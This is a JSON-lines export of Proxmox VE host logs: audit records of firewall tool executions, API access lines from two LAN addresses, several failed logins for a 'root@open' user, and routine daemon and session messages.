{"@timestamp":1781966365267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.267:69437): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc258f0530 a1=5e8cf11fc1c0 a2=5e8cf11da680 a3=5 items=1 ppid=66645 pid=66646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964822691,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781964508163,"@rawstring":"<27>Jun 20 15:08:28 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966381362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.362:69481): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee72530e0 a2=637ee7240ef0 a3=8 items=2 ppid=66681 pid=66683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.324:69423): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964822691,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964504119,"@rawstring":"<27>Jun 20 15:08:24 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966381362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.362:69480): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242dc0 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=66681 pid=66682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.324:69422): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964822691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964500417,"@rawstring":"<27>Jun 20 15:08:20 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966381360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.360:69479): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242550 a1=637ee72520f0 a2=637ee7257280 a3=8 items=2 ppid=846 pid=66680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.316:69420): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964820666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964500166,"@rawstring":"<27>Jun 20 15:08:20 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.396:69478): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361315,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.315:69419): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965021940,"@rawstring":"node=pve type=USER_START msg=audit(1781965021.940:63651): pid=61063 uid=0 auid=0 ses=8 subj=unconfined msg='op=PAM:session_open grantors=pam_loginuid,pam_env,pam_env,pam_permit,pam_umask,pam_unix,pam_limits acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781964819636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964496243,"@rawstring":"<27>Jun 20 15:08:16 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966376380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.380:69475): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.306:69417): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964188237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.237:59968): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964796124,"@rawstring":"node=pve type=USER_START msg=audit(1781964796.124:62657): pid=60035 uid=0 auid=0 ses=7 subj=unconfined msg='op=PAM:session_open grantors=pam_selinux,pam_loginuid,pam_keyinit,pam_permit,pam_umask,pam_unix,pam_systemd,pam_mail,pam_limits,pam_env,pam_env,pam_selinux acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781964819636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964491362,"@rawstring":"<27>Jun 20 15:08:11 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781965728769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781966375358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.358:69472): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63d7d2684e60 items=0 ppid=1156 pid=66677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966356306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.306:69416): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964188237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.237:59967): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:02:25 +0100] \"GET /api2/extjs/access/domains?_dc=1781964144955 HTTP/1.1\" 200 214"} {"@timestamp":1781964819636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964483651,"@rawstring":"<27>Jun 20 15:08:03 pveproxy[55575]: problem with client ::ffff:192.168.1.157; Broken pipe\n\u0000"} {"@timestamp":1781965728769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781966375354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.354:69471): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.297:69414): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.228:59965): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:02:25 +0100] \"POST /api2/json/access/ticket HTTP/1.1\" 200 806"} {"@timestamp":1781964816639,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964145460,"@rawstring":"<30>Jun 20 15:02:25 pvedaemon[1214]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781965728769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966375350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.350:69470): arch=c000003e syscall=59 success=yes exit=0 a0=582dd5cf4b20 a1=582dd5d00a30 a2=582dd5cce680 a3=5 items=2 ppid=66670 pid=66676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.297:69413): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964188227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.227:59964): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964816639,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966385442,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966385.442:69505): table=filter family=7 entries=0 op=xt_replace pid=66707 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965384476,"@rawstring":"<30>Jun 20 15:23:04 pvedaemon[1215]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781965727768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966375347,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.347:69469): arch=c000003e syscall=59 success=yes exit=0 a0=582dcd0edac8 a1=7ffefdd7a3a0 a2=582dd5cce680 a3=582dcd0d124e items=2 ppid=66670 pid=66672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.190:69407): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc51a33e20 a1=5a954a6663d0 a2=5a954a644680 a3=5 items=1 ppid=66620 pid=66621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964185361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.361:59960): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdcc28ebc0 a1=55ee10879310 a2=55ee10872680 a3=5 items=1 ppid=57579 pid=57580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964816639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966375358,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966375.358:69472): table=filter family=7 entries=0 op=xt_replace pid=66677 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966385439,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.439:69504): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965096386,"@rawstring":"<27>Jun 20 15:18:16 pveproxy[61617]: got inotify poll request in wrong process - disabling inotify\n\u0000"} {"@timestamp":1781965727768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781966375346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.346:69468): arch=c000003e syscall=59 success=yes exit=0 a0=7ffefdd7a360 a1=582dd5cf01c0 a2=582dd5cce680 a3=5 items=2 ppid=66670 pid=66671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.287:69393): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.276:59942): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe8e7fb520 a1=5557bfe981c0 a2=5557bfe76680 a3=5 items=1 ppid=57560 pid=57561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964816639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781966365278,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966365.278:69442): table=filter family=7 entries=0 op=xt_replace pid=66652 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966385435,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.435:69503): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965094790,"@rawstring":"<30>Jun 20 15:18:14 pveproxy[1231]: worker 61618 started\n\u0000"} {"@timestamp":1781965727768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781966375342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.342:69466): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.287:69392): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964183219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.219:59932): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964815635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781966355201,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966355.201:69412): table=filter family=7 entries=0 op=xt_replace pid=66627 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966385430,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.430:69502): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965094780,"@rawstring":"<30>Jun 20 15:18:14 pveproxy[1231]: starting 1 worker(s)\n\u0000"} {"@timestamp":1781965726448,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781966375335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.335:69465): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4af70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.281:69390): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964183219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.219:59931): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964814210,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781966345118,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966345.118:69381): table=filter family=7 entries=0 op=xt_replace pid=66601 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966385429,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.429:69501): argc=1 a0=\"date\""} {"@timestamp":1781965094779,"@rawstring":"<30>Jun 20 15:18:14 pveproxy[1231]: worker 51711 finished\n\u0000"} {"@timestamp":1781965726448,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781966375330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.330:69464): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66668 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966351.281:69389): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207438,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781966207.438:68912): saddr=100000000000000000000000"} {"@timestamp":1781964183212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.212:59929): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964814210,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1072"} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:38:04 +0100] \"GET /api2/extjs/access/domains?_dc=1781966284564 HTTP/1.1\" 200 214"} {"@timestamp":1781966385423,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.423:69499): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965083396,"@rawstring":"<30>Jun 20 15:18:03 pvedaemon[61567]: starting vnc proxy UPID:pve:0000F07F:0016AD02:6A36A11B:vncproxy:877:root@pam:\n\u0000"} {"@timestamp":1781965724758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781966375325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.325:69463): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.272:69386): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.473:68919): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964183212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.212:59928): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} 